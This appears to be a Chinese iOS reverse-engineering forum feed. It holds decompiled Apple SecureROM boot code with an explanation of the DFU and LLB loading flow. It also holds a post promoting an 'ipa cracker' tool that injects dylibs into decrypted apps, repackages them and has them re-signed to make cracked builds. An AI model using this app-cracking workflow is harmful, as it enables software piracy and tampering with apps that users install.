  platform_init_hwpins();
  force_dfu = platform_get_force_dfu();
  request_dfu2 = 0LL;
  if ( platform_get_request_dfu1() )
    request_dfu2 = platform_get_request_dfu2();
  sys_init();
  sys_init_stack_cookie();
  printf("doing early platform hardware init\n");
  platform_early_init();
  printf("\n\n%s for %s\n", "SecureROM", "d10si");
  printf("%s\n", "localbuild...Proteas...ARM64_a99cbd3_dirty...2019/08/01-14:04:30");
  printf("%s\n", "DEBUG");
  printf("doing platform hardware init\n");
  platform_init();
  printf("Checking for Force DFU Mode Pin: %x / %x\n", force_dfu, request_dfu2);
  if ( force_dfu )
    force_dfu = platform_get_usb_cable_connected();
  printf("Checking for Force DFU Mode request pins: %x / %x\n", force_dfu, request_dfu2);
  if ( !force_dfu && request_dfu2 && platform_get_usb_cable_connected() )
  {
    v2 = system_time();
    while ( platform_get_request_dfu1()
         && platform_get_request_dfu2()
         && platform_get_usb_cable_connected()
         && !time_has_elapsed(v2, 0x5B8D80uLL) )
      task_sleep(0x186A0uLL);
    v3 = system_time();
    while ( 1 )
    {
      if ( platform_get_request_dfu1() || !platform_get_request_dfu2() || !platform_get_usb_cable_connected() )
        goto LABEL_21;
      if ( time_has_elapsed(v3, 0x5B8D80uLL) )
        break;
      task_sleep(0x186A0uLL);
    }
    printf("Force DFU: %x\n", 1LL);
  }
  else
  {
LABEL_21:
    printf("Force DFU: %x\n", force_dfu);
    if ( !force_dfu )
    {
      index0 = 0;
      goto LABEL_24;
    }
  }
  index0 = -1;
LABEL_24:
  index = index0;
  while ( 1 )
  {
    if ( !platform_get_boot_device(index, &boot_device, &boot_flag, &boot_arg) )
    {
      printf("No valid boot device, resetting.\n");
      platform_reset(0);
    }
    boot_flag2 = boot_flag;
    printf("boot_selected: boot_device: %08x, boot_flag: %08x, boot_arg: %08x\n", boot_device, boot_flag, boot_arg);
    platform_enable_boot_interface(1, boot_device, boot_arg);
    security_init(1);
    if ( boot_device == BOOT_DEVICE_USBDFU )
    {
      platform_set_dfu_status(1);
      v15 = getDFUImage(0x1800B0000LL, 0x100000);
      if ( v15 & 0x80000000 )
      {
        v16 = "fatal DFU download error";
LABEL_40:
        printf(v16);
        goto LABEL_41;
      }
      if ( v15 > 0x100000 )
        panic("boot_selected", "load overflow");
      v13 = v15;
      v12 = image_create_from_memory(0x1800B0000LL, v15, 0);
      if ( !v12 )
      {
        v16 = "failed to create image from DFU download\n";
        goto LABEL_40;
      }
      printf("loaded image from USB-DFU\n");
      v14 = 'ibss';
    }
    else
    {
      if ( boot_device == BOOT_DEVICE_NVME )
      {
        dev_name = "nvme_firmware0";
      }
      else
      {
        if ( boot_device != BOOT_DEVICE_SPI )
          goto LABEL_41;
        printf("SPI NOR boot selected\n");
        flash_nor_init(boot_arg);
        dev_name = "nor0";
      }
      v11 = lookup_image_in_bdev(dev_name, v9);
      v12 = v11;
      if ( !v11 )
        goto LABEL_41;
      v13 = LODWORD(v11->next);
      v14 = 'illb';
    }
    types = v14;
    load_len = v13;
    load_addr = 0x1800B0000LL;
    v12->imageOptions |= (2 * (boot_flag2 & 1)) ^ 0xB;
    if ( !image_load(v12, &types, 1u, 0LL, &load_addr, &load_len) )
    {
      image_free(v12);
      platform_enable_boot_interface(0, boot_device, boot_arg);
      security_consolidate_environment();       // demote
      security_sidp_seal_rom_manifest();
      printf("executing image...\n");
      prepare_and_jump(BOOT_UNKNOWN, 0x1800B0000LL, 0LL);
    }
    printf("image load failed\n");
    image_free(v12);
LABEL_41:
    platform_enable_boot_interface(0, boot_device, boot_arg);
    printf("failed to load from selected boot device\n");
    if ( !(index0 & 0x80000000) )
      ++index;
  }
}

从上面的代码中可以看到 main 函数的主要功能可以依据是否进入 DFU 进行分割:

  1. 如果需要进入 DFU 模式,则初始化 USB,等待 Client 发送 iBSS。 在收到 Client 发送的 iBSS 后,验证其签名的合法性。如果签名合法,则执行 iBSS。
  2. 如果不需要进入 DFU 模式,则查找启动设备,并从启动设备中寻找 LLB,并验证 LLB 的签名合法性。如果签名合法,则执行 LLB。如果没法找到启动设备,platform_get_boot_device 会返回 BOOT_DEVICE_USBDFU 即:同样会进入 DFU 模式。
  3. 其它:image_load 函数会校验 img4 的类型及合法性。

Reference

  1. iBoot Source Code

Posts: 3

Participants: 3

Read full topic

[ipa破解器] 零代码一键生成免越狱ipa!

$
0
0

@changguangyu wrote:

说明
Ipa破解器用于一键生成■■版ipa。本软件完成的工作:解包ipa、拷贝插件、部署资源文件、自动部署substrate库、修改dylib依赖、注入dylib、重新打包,让制作免越狱ipa变得无比简单。有了本软件,免越狱ipa制作仅需3步,Frida-ios-dump一键砸壳→ipa破解器生成破解ipa→iOS APP Signer重签。

依赖环境
optool
安装方法:打开软件,会自动生成optool,将/Users/你的用户名/Documents/ipaCracker/optool复制到/usr/local/bin,然后执行:
sudo chmod 777 /usr/local/bin/optool
赋予权限即可。

dkpg
如果不使用deb转dylib的功能,可以不安装dkpg。
安装方法:
安装brew:

使用brew安装dkpg:
sudo brew install dpkg

使用:

效果:

下载地址:

Posts: 3

Participants: 2

Read full topic

Viewing all 301 articles
Browse latest View live